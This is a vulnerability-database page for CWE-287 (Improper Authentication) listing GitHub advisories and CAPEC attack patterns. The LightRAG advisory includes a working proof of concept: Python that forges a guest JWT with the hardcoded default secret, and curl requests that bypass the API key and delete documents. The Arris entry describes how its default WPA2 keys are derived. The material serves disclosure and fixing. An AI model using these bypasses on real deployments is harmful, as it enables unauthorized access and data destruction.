Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

API response cwe.mitre.org

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

6178 vulnerabilities reference this CWE, most recent first.

GHSA-F4G4-953X-F5PM

Vulnerability from github – Published: 2022-05-17 04:55 – Updated: 2022-05-17 04:55
VLAI
Details

denyhosts 2.6 uses an incorrect regular expression when analyzing authentication logs, which allows remote attackers to cause a denial of service (incorrect block of IP addresses) via crafted login names.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2013-6890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-12-23T22:55:00Z",
    "severity": "MODERATE"
  },
  "details": "denyhosts 2.6 uses an incorrect regular expression when analyzing authentication logs, which allows remote attackers to cause a denial of service (incorrect block of IP addresses) via crafted login names.",
  "id": "GHSA-f4g4-953x-f5pm",
  "modified": "2022-05-17T04:55:59Z",
  "published": "2022-05-17T04:55:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-6890"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1045982"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/oss-sec/2013/q4/535"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/56239"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2013/dsa-2826"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F4GG-HH5P-PJMG

Vulnerability from github – Published: 2023-12-27 21:31 – Updated: 2024-01-04 18:30
VLAI
Details

Arris DG860A and DG1670A devices have predictable default WPA2 PSKs that could lead to unauthorized remote access. (They use the first 6 characters of the SSID and the last 6 characters of the BSSID, decrementing the last digit.)

Severity
8.8 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-40038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-27T20:15:19Z",
    "severity": "HIGH"
  },
  "details": "Arris DG860A and DG1670A devices have predictable default WPA2 PSKs that could lead to unauthorized remote access. (They use the first 6 characters of the SSID and the last 6 characters of the BSSID, decrementing the last digit.)",
  "id": "GHSA-f4gg-hh5p-pjmg",
  "modified": "2024-01-04T18:30:21Z",
  "published": "2023-12-27T21:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40038"
    },
    {
      "type": "WEB",
      "url": "https://github.com/actuator/cve/blob/main/Arris/CVE-2023-40038"
    },
    {
      "type": "WEB",
      "url": "https://i.ebayimg.com/images/g/ByAAAOSwQCFi2b50/s-l1600.jpg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4HX-5JG8-HG94

Vulnerability from github – Published: 2022-05-17 19:57 – Updated: 2024-04-03 23:58
VLAI
Details

The wp-support-plus-responsive-ticket-system plugin before 4.2 for WordPress has incorrect authentication.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2014-10389"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-22T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The wp-support-plus-responsive-ticket-system plugin before 4.2 for WordPress has incorrect authentication.",
  "id": "GHSA-f4hx-5jg8-hg94",
  "modified": "2024-04-03T23:58:49Z",
  "published": "2022-05-17T19:57:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-10389"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4M8-C8F7-HW6Q

Vulnerability from github – Published: 2023-07-13 18:30 – Updated: 2024-02-09 00:31
VLAI
Details

The firmware update package for the wireless card is not properly signed and can be modified.

Severity
5.2 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-30559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-13T18:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The firmware update package for the wireless card is not properly signed and can be modified.",
  "id": "GHSA-f4m8-c8f7-hw6q",
  "modified": "2024-02-09T00:31:33Z",
  "published": "2023-07-13T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30559"
    },
    {
      "type": "WEB",
      "url": "https://www.bd.com/en-us/about-bd/cybersecurity/bulletin/bd-alaris-system-with-guardrails-suite-mx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4MF-54PP-JFRW

Vulnerability from github – Published: 2022-11-21 12:30 – Updated: 2022-11-23 18:30
VLAI
Details

The WP User Frontend WordPress plugin before 3.5.29 uses a user supplied argument called urhidden in its registration form, which contains the role for the account to be created with, encrypted via wpuf_encryption(). This could allow an attacker having access to the AUTH_KEY and AUTH_SALT constant (via an arbitrary file access issue for example, or if the blog is using the default keys) to create an account with any role they want, such as admin

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-24649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-21T11:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The WP User Frontend WordPress plugin before 3.5.29 uses a user supplied argument called urhidden in its registration form, which contains the role for the account to be created with, encrypted via wpuf_encryption(). This could allow an attacker having access to the AUTH_KEY and AUTH_SALT constant (via an arbitrary file access issue for example, or if the blog is using the default keys) to create an account with any role they want, such as admin",
  "id": "GHSA-f4mf-54pp-jfrw",
  "modified": "2022-11-23T18:30:29Z",
  "published": "2022-11-21T12:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24649"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/9486744e-ab24-44e4-b06e-9e0b4be132e2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4VV-55C2-5789

Vulnerability from github – Published: 2026-07-20 21:46 – Updated: 2026-07-20 21:46
VLAI
Summary
LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection
Details

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

  1. lightrag/api/config.py:54 ships a hardcoded default JWT secret: python DEFAULT_TOKEN_SECRET="lightr...key!"
  2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
  3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
  4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237: python if not auth_configured and token_info.get("role") == "guest": return

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with: - LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and - AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

  • Read and delete arbitrary documents (/documents, DELETE /documents)
  • Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
  • Clear LLM / embedding caches (/documents/clear_cache)
  • Inspect and mutate the knowledge graph (/graph/*)
  • Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

  1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
  2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
  3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

  • main through commit 157c331 (2026-04-15)
  • Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

  • GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
  • GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
  • Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:46:37Z",
    "nvd_published_at": "2026-07-15T15:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nWhen LightRAG is deployed with `LIGHTRAG_API_KEY` set but `AUTH_ACCOUNTS` unset (an officially documented \"API-Key authentication\" mode), the `X-API-Key` protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server \u2014 an attacker can mint a valid guest JWT offline using the hardcoded `DEFAULT_TOKEN_SECRET` committed in the repository and then call any endpoint guarded by `Depends(combined_auth)`, including destructive operations such as `DELETE /documents`, `POST /documents/upload`, `/documents/clear_cache`, and `POST /query`.\n\nThis is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the `AUTH_ACCOUNTS`-configured case. The API-Key-only deployment profile is still fully exploitable on current `main` (commit `157c331`, v1.4.15).\n\n## Root cause\n\nThree independent issues combine:\n\n1. `lightrag/api/config.py:54` ships a hardcoded default JWT secret:\n   ```python\n   DEFAULT_TOKEN_SECRET=\"lightr...key!\"\n   ```\n2. `lightrag/api/auth.py:28-38` falls back to `DEFAULT_TOKEN_SECRET` with only a warning log when `AUTH_ACCOUNTS` is not configured. The fix for CVE-2026-30762 only raises when `AUTH_ACCOUNTS` is set, so the API-key-only path is silently vulnerable.\n3. `lightrag/api/lightrag_server.py:1140-1186` exposes `GET /auth-status` and `POST /login` without any authentication dependency. In the API-key-only configuration, `auth_handler.accounts` is empty, and both endpoints unconditionally mint and return a signed guest JWT.\n4. `lightrag/api/utils_api.py:214-216` inside `combined_dependency` short-circuits authorization on any valid guest token when `auth_configured` is false, **before** reaching the `X-API-Key` check on line 237:\n   ```python\n   if not auth_configured and token_info.get(\"role\") == \"guest\":\n       return\n   ```\n\n## Proof of concept (offline-minted token, zero server contact)\n\nTested against a clean install of commit `157c331` running locally with only `LIGHTRAG_API_KEY=super-...ass` configured.\n\n```bash\n$ python3 - \u003c\u003c\u0027PY\u0027\nimport jwt\nfrom datetime import datetime, timedelta, timezone\nprint(jwt.encode(\n    {\"sub\":\"guest\",\"role\":\"guest\",\n     \"exp\":datetime.now(timezone.utc)+timedelta(hours=24),\n     \"metadata\":{\"auth_mode\":\"disabled\"}},\n    \"lightrag-jwt-default-secret-key!\",\n    algorithm=\"HS256\"))\nPY\neyJhbGci...\n\n# Control \u2014 no creds: correctly rejected\n$ curl -s -w \"HTTP %{http_code}\\n\" http://target:9876/documents\n{\"detail\":\"API Key required\"}\nHTTP 403\n\n# Control \u2014 wrong API key: correctly rejected\n$ curl -s -w \"HTTP %{http_code}\\n\" -H \"X-API-Key: wrong-key\" http://target:9876/documents\n{\"detail\":\"Invalid API Key\"}\nHTTP 403\n\n# Bypass \u2014 offline-minted guest JWT: accepted\n$ curl -s -w \"HTTP %{http_code}\\n\" -H \"Authorization: Bearer *** \\\n    http://target:9876/documents\n{\"statuses\":{}}\nHTTP 200\n\n# Destructive confirmation \u2014 DELETE /documents with the same token\n$ curl -s -X DELETE -w \"HTTP %{http_code}\\n\" -H \"Authorization: Bearer *** \\\n    http://target:9876/documents\n{\"status\":\"success\",\"message\":\"All documents cleared successfully. Deleted 0 files.\"}\nHTTP 200\n```\n\nThe guest JWT also does not need to be minted offline \u2014 `GET /auth-status` hands one out to anyone, even when the server is started with `LIGHTRAG_API_KEY` set. Either path (offline or `/auth-status`) yields the same bypass.\n\n## Impact\n\nAny LightRAG instance that is reachable on the network and configured with:\n- `LIGHTRAG_API_KEY` set (i.e. the operator believes the server is protected), and\n- `AUTH_ACCOUNTS` unset (i.e. they opted out of the password-based login flow)\n\nis fully accessible to any anonymous caller. This configuration is documented as the \"simple API-Key authentication\" mode in `docs/LightRAG-API-Server.md`, so it is expected to be common in production. An attacker can:\n\n- Read and delete arbitrary documents (`/documents`, `DELETE /documents`)\n- Upload arbitrary documents and text for ingestion (`/documents/upload`, `/documents/text`, `/documents/texts`, `/documents/file_batch`, `/documents/scan`)\n- Clear LLM / embedding caches (`/documents/clear_cache`)\n- Inspect and mutate the knowledge graph (`/graph/*`)\n- Run arbitrary queries that will consume paid LLM / embedding credits (`/query`, `/query/stream`)\n\nBecause the server may be exposed behind corporate reverse proxies that trust `LIGHTRAG_API_KEY`, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.\n\n## Suggested CVSS\n\n7.5 \u2014 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L` (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.\n\n## Suggested fix\n\nAny one of the following individually closes the primary vector; all three are recommended for defense in depth:\n\n1. **Remove the hardcoded fallback.** Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever `TOKEN_SECRET` is unset, regardless of `AUTH_ACCOUNTS`.\n2. **Gate `/auth-status` and `/login` when `LIGHTRAG_API_KEY` is set.** Either require `Depends(combined_auth)` or stop minting guest tokens whenever `api_key_configured` is true.\n3. **Fix the short-circuit in `combined_dependency`.** Do not accept guest tokens as authentication when `api_key_configured` is true; always require a valid `X-API-Key` header in that configuration.\n\n## Affected versions\n\n- `main` through commit `157c331` (2026-04-15)\n- Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path\n\n## Prior art checked\n\n- GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 \u2014 JWT `alg:none`. Unrelated.\n- GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 \u2014 hardcoded JWT secret combined with `AUTH_ACCOUNTS`. Fixed by PR #2869, which explicitly does **not** cover the API-Key-only configuration.\n- Issues/PRs searched: \"guest token bypass\", \"DEFAULT_TOKEN_SECRET\", \"hardcoded secret\", \"auth-status\", \"api key bypass\". No prior report covering this vector.\n\n## Discovery\n\nFound during an external security review of LightRAG\u0027s API authentication flow. Reporter can be credited publicly as \"patchmyday (Jason Zhang)\" upon disclosure.",
  "id": "GHSA-f4vv-55c2-5789",
  "modified": "2026-07-20T21:46:37Z",
  "published": "2026-07-20T21:46:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61740"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/f7819aa3a49a9d8d92eed8251d82d6ebcafa8cba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection"
}

GHSA-F4WC-3QJ8-GQ9P

Vulnerability from github – Published: 2023-09-12 21:30 – Updated: 2024-04-04 07:38
VLAI
Details

Improper authentication in Zoom clients may allow an authenticated user to conduct a denial of service via network access.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-39215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-449"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-12T20:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Improper authentication in Zoom clients may allow an authenticated user to conduct a denial of service via network access.",
  "id": "GHSA-f4wc-3qj8-gq9p",
  "modified": "2024-04-04T07:38:32Z",
  "published": "2023-09-12T21:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39215"
    },
    {
      "type": "WEB",
      "url": "https://explore.zoom.us/en/trust/security/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4X4-Q95W-JP8R

Vulnerability from github – Published: 2022-05-17 01:35 – Updated: 2022-05-17 01:35
VLAI
Details

Cisco Video Surveillance Manager (VSM) before 7.0.0 does not require authentication for access to VSMC monitoring pages, which allows remote attackers to obtain sensitive configuration, archive, and log information via unspecified vectors, related to the Cisco_VSBWT (aka Broadware sample code) package, aka Bug ID CSCsv40169.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2013-3431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-07-25T15:53:00Z",
    "severity": "HIGH"
  },
  "details": "Cisco Video Surveillance Manager (VSM) before 7.0.0 does not require authentication for access to VSMC monitoring pages, which allows remote attackers to obtain sensitive configuration, archive, and log information via unspecified vectors, related to the Cisco_VSBWT (aka Broadware sample code) package, aka Bug ID CSCsv40169.",
  "id": "GHSA-f4x4-q95w-jp8r",
  "modified": "2022-05-17T01:35:06Z",
  "published": "2022-05-17T01:35:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3431"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/85945"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130724-vsm"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/61431"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1028827"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F52W-9GXQ-49MC

Vulnerability from github – Published: 2026-04-01 21:30 – Updated: 2026-04-01 21:30
VLAI
Details

IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 under certain load conditions could allow an attacker to bypass authentication mechanisms and gain unauthorized access to the application.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T21:17:02Z",
    "severity": "HIGH"
  },
  "details": "IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 under certain load conditions could allow an attacker to bypass authentication mechanisms and gain unauthorized access to the application.",
  "id": "GHSA-f52w-9gxq-49mc",
  "modified": "2026-04-01T21:30:32Z",
  "published": "2026-04-01T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4101"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7268253"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F553-J2GV-G5R9

Vulnerability from github – Published: 2022-05-14 01:23 – Updated: 2022-11-08 14:57
VLAI
Summary
Apache Solr Kerberos delegation token functionality flaws
Details

Apache Solr's Kerberos plugin can be configured to use delegation tokens, which allows an application to reuse the authentication of an end-user or another application. There are two issues with this functionality (when using SecurityAwareZkACLProvider type of ACL provider e.g. SaslZkACLProvider). Firstly, access to the security configuration can be leaked to users other than the solr super user. Secondly, malicious users can exploit this leaked configuration for privilege escalation to further expose/modify private data and/or disrupt operations in the Solr cluster. The vulnerability is fixed from Apache Solr 6.6.1 onwards.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.solr:solr-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-9803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-08T14:57:58Z",
    "nvd_published_at": "2017-09-18T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "Apache Solr\u0027s Kerberos plugin can be configured to use delegation tokens, which allows an application to reuse the authentication of an end-user or another application. There are two issues with this functionality (when using SecurityAwareZkACLProvider type of ACL provider e.g. SaslZkACLProvider). Firstly, access to the security configuration can be leaked to users other than the solr super user. Secondly, malicious users can exploit this leaked configuration for privilege escalation to further expose/modify private data and/or disrupt operations in the Solr cluster. The vulnerability is fixed from Apache Solr 6.6.1 onwards.",
  "id": "GHSA-f553-j2gv-g5r9",
  "modified": "2022-11-08T14:57:58Z",
  "published": "2022-05-14T01:23:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9803"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/SOLR-11184"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/f4rbt657n9x4kb74k1txhcojof5dzol5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Solr Kerberos delegation token functionality flaws"
}
Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

